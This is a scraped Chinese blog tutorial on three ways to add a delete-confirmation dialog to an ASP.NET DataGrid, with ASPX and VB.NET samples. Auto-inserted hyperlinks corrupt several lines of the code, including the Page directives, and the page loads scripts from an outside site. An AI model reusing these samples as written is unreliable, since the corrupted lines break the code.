为DataGrid添加确认删除的对话框

最新推荐文章于 2024-05-30 13:00:00 发布
最新推荐文章于 2024-05-30 13:00:00 发布
阅读量246 收藏
点赞数
分类专栏： asp.net 文章标签： datagrid asp button microsoft server generator
<script language='javascript' src='http://www.shiqiaotou.com/donetk/Header.js'></script>

   在删除数据前进行确认是一个非常友好的做法。在本文里，我们就讨论利用TemplateColumn和Button服务端控件实现这种功能的方法。
  
  DeleteIt.ASPx
  
  <%@ Page Language="<a href="http://dev.21tx.com/language/vb/" target="_blank">VB</a>" AutoEventWireup="false" Codebehind="DeleteIt.aspx.vb" Inherits="aspx<a href="http://dev.21tx.com/web/" target="_blank">Web</a>.DeleteIt"%>
  <!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.0 Transitional//EN">
  <HTML>
   <HEAD>
   <title>WebForm1</title>
   <meta content="Microsoft Visual Studio <a href="http://dev.21tx.com/dotnet/" target="_blank">.net</a> 7.0" name="GENERATOR">
   <meta content="Visual Basic 7.0" name="CODE_LANGUAGE">
   <meta content="<a href="http://dev.21tx.com/web/javascript/" target="_blank">JavaScript</a>" name="vs_defaultClientScript">
   <meta content="http://schemas.microsoft.com/intellisense/ie5" name="vs_targetSchema">
   </HEAD>
   <body>
   <asp:label id="Label1" runat="Server"></asp:label>
   <form runat="server" ID="Form1">
   <asp:DataGrid id="myDataGrid" OnItemCreated="DataGrid_ItemCreated"
   DataKeyField="Title" AutoGenerateColumns="False" runat="server">
   <Columns>
   <asp:TemplateColumn>
   <ItemTemplate>
   <asp:Button id="btnDelete" runat="Server"></asp:Button>
   </ItemTemplate>
   </asp:TemplateColumn>
   <asp:BoundColumn DataField="Title"></asp:BoundColumn>
   <asp:BoundColumn DataField="CreateDate" DataFormatString="{0:yyyy-M-d}"></asp:BoundColumn>
   </Columns>
   </asp:DataGrid>
   </form>
   </body>
  </HTML>
  
  后代码：DeleteIt.aspx.vb
  
  Imports System.Web
  Imports System.Collections
  Imports System
  Imports System.Data
  Imports System.Data.OleDb
  Imports System.Web.UI.WebControls
  
  Public Class DeleteIt
   Inherits System.Web.UI.Page
   Protected WithEvents Label1 As System.Web.UI.WebControls.Label
   Protected WithEvents myDataGrid As System.Web.UI.WebControls.DataGrid
  
  #Region " Web 窗体设计器生成的代码 "
  
   '该调用是 Web 窗体设计器所必需的。
   <System.Diagnostics.DebuggerStepThrough()> Private Sub InitializeComponent()
  
   End Sub
  
   Private Sub Page_Init(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles MyBase.Init
   'CODEGEN: 此方法调用是 Web 窗体设计器所必需的
   '不要使用代码编辑器修改它。
   InitializeComponent()
   End Sub
  
  #End Region
  
   Sub Page_Load(ByVal Sender As Object, ByVal e As EventArgs) Handles MyBase.Load
   myDataGrid.HeaderStyle.Font.Bold = True
   myDataGrid.HeaderStyle.HorizontalAlign = HorizontalAlign.Center
   myDataGrid.Columns(0).HeaderText = "操作"
   myDataGrid.Columns(1).HeaderText = "标题"
   myDataGrid.Columns(2).HeaderText = "发布日期"
  
   If Not IsPostBack Then
   Dim strCn As String = "Provider=Microsoft.Jet.OLEDB.4.0;Data Source=" + Server.MapPath("Test.mdb")
   Dim strSql As String
   strSql = "SELECT Top 15 objectGuid,Title,CreateDate FROM Document Order By CreateDate Desc"
   Dim cn As New OleDbConnection(strCn)
   cn.Open()
   Dim cmd As New OleDbCommand(strSql, cn)
  
   myDataGrid.DataSource = cmd.ExecuteReader(CommandBehavior.CloseConnection)
   myDataGrid.DataBind()
   cmd.Dispose()
   cmd = Nothing
   cn.Close()
   cn.Dispose()
   cn = Nothing
   End If
   End Sub
  
   Sub DataGrid_ItemCreated(ByVal Sender As Object, ByVal e As DataGridItemEventArgs)_
   Handles myDataGrid.ItemCreated
   Select Case e.Item.ItemType
   Case ListItemType.Item, ListItemType.AlternatingItem, ListItemType.EditItem
   Dim myDeleteButton As Button
   myDeleteButton = e.Item.FindControl("btnDelete")
   myDeleteButton.Text = "删除此行"
   myDeleteButton.Attributes.Add("onclick", "return confirm('您真的要删除第 "_
   + e.Item.ItemIndex.ToString + " 行吗？');")
   End Select
   End Sub
  
   Private Sub myDataGrid_ItemCommand(ByVal source As Object, _
   ByVal e As System.Web.UI.WebControls.DataGridCommandEventArgs)_
   Handles myDataGrid.ItemCommand
   Response.Write("您要删除的是：<font color=red>" + e.Item.Cells(1).Text + "</font>")
   e.Item.BackColor = System.Drawing.Color.Ivory
   End Sub
  End Class

   在DataGrid里添加确认删除的对话框，第二个办法就是利用ButtonColumn，这个办法与第一个方法不同的是：我们不能使用FindControl方法来引用Button控件，这是因为，我们不知道由ButtonColumn产生的每个Button控件的ID，我们这里可以使用TableCell来引用TableCell里的Button控件，一旦引用了Button控件，我们就可以用Attributes集合来添加Onclick事件。源代码如下：
  
  DeleteIt2.ASPx
  
  <%@ Page Language="<a href="http://dev.21tx.com/language/vb/" target="_blank">VB</a>" AutoEventWireup="false" Codebehind="DeleteIt2.aspx.vb"
   Inherits="aspx<a href="http://dev.21tx.com/web/" target="_blank">Web</a>.DeleteIt2"%>
  <!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.0 Transitional//EN">
  <HTML>
   <HEAD>
   <title>DeleteIt2</title>
   <meta name="GENERATOR" content="Microsoft Visual Studio <a href="http://dev.21tx.com/dotnet/" target="_blank">.net</a> 7.0">
   <meta name="CODE_LANGUAGE" content="Visual Basic 7.0">
   <meta name="vs_defaultClientScript" content="<a href="http://dev.21tx.com/web/javascript/" target="_blank">JavaScript</a>">
   <meta name="vs_targetSchema" content="http://schemas.microsoft.com/intellisense/ie5">
   </HEAD>
   <body MS_POSITIONING="GridLayout">
   <form id="Form1" method="post" runat="server">
   <asp:Label id="Label1" runat="server"></asp:Label>
   <asp:DataGrid id="myDataGrid" OnItemCreated="DataGrid_ItemCreated" runat="server"
   OnDeleteCommand="MyDataGrid_Delete" DataKeyField="Title" AutoGenerateColumns="False">
   <Columns>
   <asp:ButtonColumn CommandName="Delete" />
   <asp:TemplateColumn>
   <ItemTemplate>
   <asp:Label runat="server" Text='<%# DataBinder.Eval(Container.DataItem, "Title") %>' />
   </ItemTemplate>
   </asp:TemplateColumn>
   <asp:TemplateColumn>
   <ItemTemplate>
   <asp:Label runat="server" Text='<%# DataBinder.Eval(Container.DataItem,_
   "CreateDate","{0:yyyy-M-d}") %>' />
   </ItemTemplate>
   </asp:TemplateColumn>
   </Columns>
   </asp:DataGrid>
   </form>
   </body>
  </HTML>
  
  DeleteIt2.aspx.vb
  
  Imports System
  Imports System.Web
  Imports System.Data
  Imports System.Data.OleDb
  Imports System.Web.UI.WebControls
  
  Public Class DeleteIt2
   Inherits System.Web.UI.Page
   Protected WithEvents Label1 As System.Web.UI.WebControls.Label
   Protected WithEvents myDataGrid As System.Web.UI.WebControls.DataGrid
  
  #Region " Web 窗体设计器生成的代码 "
  
   '该调用是 Web 窗体设计器所必需的。
   <System.Diagnostics.DebuggerStepThrough()> Private Sub InitializeComponent()
  
   End Sub
  
   Private Sub Page_Init(ByVal sender As System.Object, ByVal e As System.EventArgs)_
   Handles MyBase.Init
   'CODEGEN: 此方法调用是 Web 窗体设计器所必需的
   '不要使用代码编辑器修改它。
   InitializeComponent()
   End Sub
  
  #End Region
  
   Private Sub Page_Load(ByVal sender As System.Object, ByVal e As System.EventArgs)_
   Handles MyBase.Load
   '在此处放置初始化页的用户代码
   myDataGrid.HeaderStyle.HorizontalAlign = HorizontalAlign.Center
   myDataGrid.HeaderStyle.Font.Bold = True
   myDataGrid.HeaderStyle.BackColor = System.Drawing.Color.Ivory
   myDataGrid.Columns(0).HeaderText = "操作"
   myDataGrid.Columns(1).HeaderText = "标题"
   myDataGrid.Columns(2).HeaderText = "创建日期"
  
   If Not IsPostBack Then
   Dim strCn As String = "Provider=Microsoft.Jet.OLEDB.4.0;Data Source=" _
   + Server.MapPath("Test.mdb")
   Dim strSql As String = "SELECT Top 15 objectGuid,Title,CreateDate"_
   + " FROM Document Order By CreateDate Desc"
   Dim cn As New OleDbConnection(strCn)
   cn.Open()
   Dim cmd As New OleDbCommand(strSql, cn)
  
   myDataGrid.DataSource = cmd.ExecuteReader(CommandBehavior.CloseConnection)
   myDataGrid.DataBind()
   cmd.Dispose()
   cmd = Nothing
   cn.Close()
   cn.Dispose()
   cn = Nothing
   End If
   End Sub
  
   Public Sub DataGrid_ItemCreated(ByVal sender As Object, _
   ByVal e As System.Web.UI.WebControls.DataGridItemEventArgs) Handles myDataGrid.ItemCreated
   Select Case e.Item.ItemType
   Case ListItemType.Item, ListItemType.AlternatingItem, ListItemType.EditItem
   Dim myTableCell As TableCell
   myTableCell = e.Item.Cells(0)
   Dim myDeleteButton As LinkButton
   myDeleteButton = myTableCell.Controls(0)
   myDeleteButton.Attributes.Add("onclick", "return confirm('您真的要删除此行吗？');")
   myDeleteButton.Text = "删除此行"
   End Select
   End Sub
   Sub MyDataGrid_Delete(ByVal Sender As Object, ByVal E As DataGridCommandEventArgs)
   Label1.Text = "你要删除的是：<font color=red> " _
   + myDataGrid.DataKeys(CInt(E.Item.ItemIndex)) + "</font>"
   E.Item.BackColor = System.Drawing.Color.Tomato
   End Sub
  End Class

   在DataGrid里添加确认删除的对话框，第三个办法就是利用Page对象的ReGISterOnSubmitStatement方法。Page.RegisterOnSubmitStatement方法能够使页面能够访问客户端 OnSubmit 事件。脚本应该是注册在其他地方的对客户端代码的函数调用。源代码如下：
  
  DeleteIt3.ASPx
  
  <%@ Page Language="<a href="http://dev.21tx.com/language/vb/" target="_blank">VB</a>" AutoEventWireup="false" Codebehind="DeteleIt3.aspx.vb" Inherits="aspx<a href="http://dev.21tx.com/web/" target="_blank">Web</a>.DeteleIt3"%>
  <!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.0 Transitional//EN">
  <HTML>
   <HEAD>
   <title>DeteleIt3</title>
   <meta content="Microsoft Visual Studio <a href="http://dev.21tx.com/dotnet/" target="_blank">.net</a> 7.0" name="GENERATOR">
   <meta content="Visual Basic 7.0" name="CODE_LANGUAGE">
   <meta content="<a href="http://dev.21tx.com/web/javascript/" target="_blank">JavaScript</a>" name="vs_defaultClientScript">
   <meta content="http://schemas.microsoft.com/intellisense/ie5" name="vs_targetSchema">
   </HEAD>
   <body MS_POSITIONING="GridLayout">
   <asp:label id="Label1" runat="Server"></asp:label>
   <form id="Form1" runat="server">
   <asp:datagrid id="myDataGrid" runat="server" AutoGenerateColumns="True" DataKeyField="Title">
   <Columns>
   <asp:ButtonColumn CommandName="Delete" ButtonType="PushButton" />
   </Columns>
   </asp:datagrid>
   </form>
   </body>
  </HTML>
  
  后代码DeteleIt3.aspx.vb
  
  Imports System.Web
  Imports System.Data
  Imports System.Data.OleDb
  
  Public Class DeteleIt3
   Inherits System.Web.UI.Page
   Protected WithEvents Label1 As System.Web.UI.WebControls.Label
   Protected WithEvents myDataGrid As System.Web.UI.WebControls.DataGrid
  
  #Region " Web 窗体设计器生成的代码 "
  
   '该调用是 Web 窗体设计器所必需的。
   <System.Diagnostics.DebuggerStepThrough()> Private Sub InitializeComponent()
  
   End Sub
  
   Private Sub Page_Init(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles MyBase.Init
   'CODEGEN: 此方法调用是 Web 窗体设计器所必需的
   '不要使用代码编辑器修改它。
   InitializeComponent()
   End Sub
  
  #End Region
  
   Private Sub Page_Load(ByVal sender As Object, ByVal e As System.EventArgs) Handles MyBase.Load
   '在此处放置初始化页的用户代码
   If Not IsPostBack Then
   Dim strCn As String = "Provider=Microsoft.Jet.OLEDB.4.0;Data Source=" + Server.MapPath("Test.mdb")
   Dim strSql As String = "SELECT Top 15 Title,CreateDate FROM Document Order By CreateDate Desc"
   Dim cn As New OleDbConnection(strCn)
   cn.Open()
   Dim cmd As New OleDbCommand(strSql, cn)
   myDataGrid.DataSource = cmd.ExecuteReader(CommandBehavior.CloseConnection)
   myDataGrid.DataBind()
   cmd.Dispose()
   cmd = Nothing
   cn.Close()
   cn.Dispose()
   cn = Nothing
   End If
   Page.RegisterOnSubmitStatement("OnSubmit", "{return confirm('您真的要删除此行吗？？') } ")
   End Sub
  
   Sub myDataGrid_ItemCreated(ByVal sender As Object, _
   ByVal e As System.Web.UI.WebControls.DataGridItemEventArgs) Handles myDataGrid.ItemCreated
   Select Case e.Item.ItemType
   Case ListItemType.Item, ListItemType.AlternatingItem, ListItemType.EditItem
   Dim myTableCell As TableCell
   myTableCell = e.Item.Cells(0)
   Dim myDeleteButton As Button
   myDeleteButton = myTableCell.Controls(0)
   myDeleteButton.Text = "删除此行"
   Case ListItemType.Header
   e.Item.Font.Bold = True
   e.Item.HorizontalAlign = HorizontalAlign.Center
   e.Item.BackColor = System.Drawing.Color.Ivory
   e.Item.Cells(0).Text = "操作"
   e.Item.Cells(1).Text = "文章标题"
   e.Item.Cells(2).Text = "发布日期"
   End Select
   End Sub
  
   Private Sub myDataGrid_DeleteCommand(ByVal source As Object, _
   ByVal e As System.Web.UI.WebControls.DataGridCommandEventArgs) Handles myDataGrid.DeleteCommand
   Label1.Text = "您删除的是：<font color=red>" + myDataGrid.DataKeys(CInt(e.Item.ItemIndex)) + "</font>"
   e.Item.BackColor = System.Drawing.Color.Tomato
   End Sub
  
  End Class

<script language='javascript' src='http://www.shiqiaotou.com/donetk/Footer.js'></script>
donetk
关注
  • 0
    点赞
  • 踩
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
专栏目录
asp.net开发常用整理集合
05-06
不断更新中  Asp.net页面内传参数方法  调用存储过程(两种方法比较)  调用存储过程通用类DBHelper  加密解密  SQL常用DBHelper  Asp.net存储过程无限分类 ... 为gridview“删除”列添加确认对话框
【.net】给DataGrid的删除加确认对话框
Dominic_zy的专栏
11-09 675
两种方式给删除按钮加上确认对话框。一种是能过编写事件，一种是直接加上javascript的一个confirm 第一种 1、编写事件： private void MyDataGrid_ItemCreated(object sender, DataGridItemEventArgs e)   {  //  确定是数据行而非页首或页尾   if (e.Item.I
DataGrid的DeleteCommand
weixin_34029680的博客
12-27 147
把 id 绑定为第一列，设为不可见，private void DataGrid1_DeleteCommand(object source, System.Web.UI.WebControls.DataGridCommandEventArgs e){if (Dg_page.Items.Count == 1) { if (Dg_page.CurrentPag...
DeleteCommand ....没反应,
weixin_30845171的博客
08-11 875
If Not IsPostBack Then gCpDB.DataBindDG(Me.dgTabloid, "select t.*,decode(t.is_open,0,'公开',1,'私有') IS_OPEN_Check,m.dc_name from hoo_info t,hoo_columns m where m.dc_id=t.dc_id a...
在DataGrid里添加确认删除的对话框
.NET博文收藏
03-11 330
在DataGrid里添加确认删除的对话框http://lucky_elove.www1.dotnetplayground.com/在删除数据前进行确认是一个非常友好的做法。在本文里，我们就讨论利用TemplateColumn和Button服务端控件实现这种功能的方法。查看例子DeleteIt.aspx WebForm1
为DataGrid添加确认删除的对话框（1）
chenjinjie的专栏
06-15 613
DeleteIt.aspx      WebForm1                http://schemas.microsoft.com/intellisense/ie5" name="vs_targetSchema">                   DataKeyField="Title" AutoGenerateColumns="False" runat="server">  
为DataGrid添加确认删除的对话框（2）
chenjinjie的专栏
06-15 625
DeleteIt2.aspx Inherits="aspxWeb.DeleteIt2"%>      DeleteIt2                http://schemas.microsoft.com/intellisense/ie5">                      OnDeleteCommand="MyDataGrid_Delete" DataKeyField="Tit
为DataGrid添加确认删除的对话框（3）
chenjinjie的专栏
06-15 657
DeleteIt3.aspx      DeteleIt3                http://schemas.microsoft.com/intellisense/ie5" name="vs_targetSchema">                                                        后代码DeteleIt3.aspx.vbImp
DataGrid 添加点击删除确认对话框
老丘的专栏
06-05 976
DataGrid点击删除按钮弹出确认对话框一个好办法 原文地址http://expert.csdn.net/Expert/topic/2852/2852126.xml?temp=.4770471 其中wf5360308(峰)提供的方法datagrid-》属性生成器-》列-》添加按钮列-》删除-》文本(T)->在文本框里加上：删除原来可以这样简单
VS.NET 2005中常用的一些代码
12-05
四、为按钮添加确认对话框 五、点击表格行链接另一页 六、超连接列传递参数 七、绑定日期格式 八、统一捕获异常 Global.asax中 九、自定义异常处理 十、Panel 横向滚动，纵向自动扩展 十一、DataGrid行随鼠标变色 ...
asp.net专家疑难解答200问源码
03-02
121.如何为DataGrid控件中的删除列添加确认框 122.如何使用DataGrid控件实现主细表 123.如何实现DataGrid控件的双向排序 124.如何动态的显示·隐藏DataGrid控件的某一列 125.如何实现DataGrid控件中DropDownList...
ASP.NET常用代码
12-31
2.为按钮添加对话框 传送参数： response.write("<script>window.open('*.aspx?id="+this.DropDownList1.SelectIndex+"&id1="+...+"')</script>") 接收参数： string a = Request.QueryString("id"); string b = ...
INDICATOR 再c嵌入sql环境中的作用
xie__jin__cheng的博客
05-28 351
INDICATOR 再c嵌入sql环境中的作用
Windows 11 Beta 22635.3646 预览版发布：中国大陆地区新增“微软电脑管家”应用
leyang0910的博客
05-30 636
微软今天面向 Beta 频道的 Windows Insider 项目成员，发布了适用于 Windows 11 的 KB5037858 更新，用户安装后版本号升至 Build 22635.3646，该版本主要为中国大陆设备新增“微软电脑管家”应用。
grpcio-1.44.0-cp39-cp39-manylinux2010_x86_64.whl
最新发布
05-31
Python库是一组预先编写的代码模块，旨在帮助开发者实现特定的编程任务，无需从零开始编写代码。这些库可以包括各种功能，如数学运算、文件操作、数据分析和网络编程等。Python社区提供了大量的第三方库，如NumPy、Pandas和Requests，极大地丰富了Python的应用领域，从数据科学到Web开发。Python库的丰富性是Python成为最受欢迎的编程语言之一的关键原因之一。这些库不仅为初学者提供了快速入门的途径，而且为经验丰富的开发者提供了强大的工具，以高效率、高质量地完成复杂任务。例如，Matplotlib和Seaborn库在数据可视化领域内非常受欢迎，它们提供了广泛的工具和技术，可以创建高度定制化的图表和图形，帮助数据科学家和分析师在数据探索和结果展示中更有效地传达信息。
grpcio-1.42.0-cp38-cp38-macosx_10_10_x86_64.whl
05-31
Python库是一组预先编写的代码模块，旨在帮助开发者实现特定的编程任务，无需从零开始编写代码。这些库可以包括各种功能，如数学运算、文件操作、数据分析和网络编程等。Python社区提供了大量的第三方库，如NumPy、Pandas和Requests，极大地丰富了Python的应用领域，从数据科学到Web开发。Python库的丰富性是Python成为最受欢迎的编程语言之一的关键原因之一。这些库不仅为初学者提供了快速入门的途径，而且为经验丰富的开发者提供了强大的工具，以高效率、高质量地完成复杂任务。例如，Matplotlib和Seaborn库在数据可视化领域内非常受欢迎，它们提供了广泛的工具和技术，可以创建高度定制化的图表和图形，帮助数据科学家和分析师在数据探索和结果展示中更有效地传达信息。
wpf datagrid 添加表头
05-25
在这个例子中，我们创建了一个DataGridTextColumn，设置表头为“Salary”，绑定到数据模型的“Salary”属性，然后将其添加到DataGrid.Columns中。这将在DataGrid的最后一列添加一个新的表头列。

“相关推荐”对你有帮助么？

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

个

红包个数最小为10个

元

红包金额最低5元

当前余额3.43元 前往充值 >
需支付：10.00元
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付元
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明：

1.余额是钱包充值的虚拟货币，按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载，可以购买VIP、付费专栏及课程。

余额充值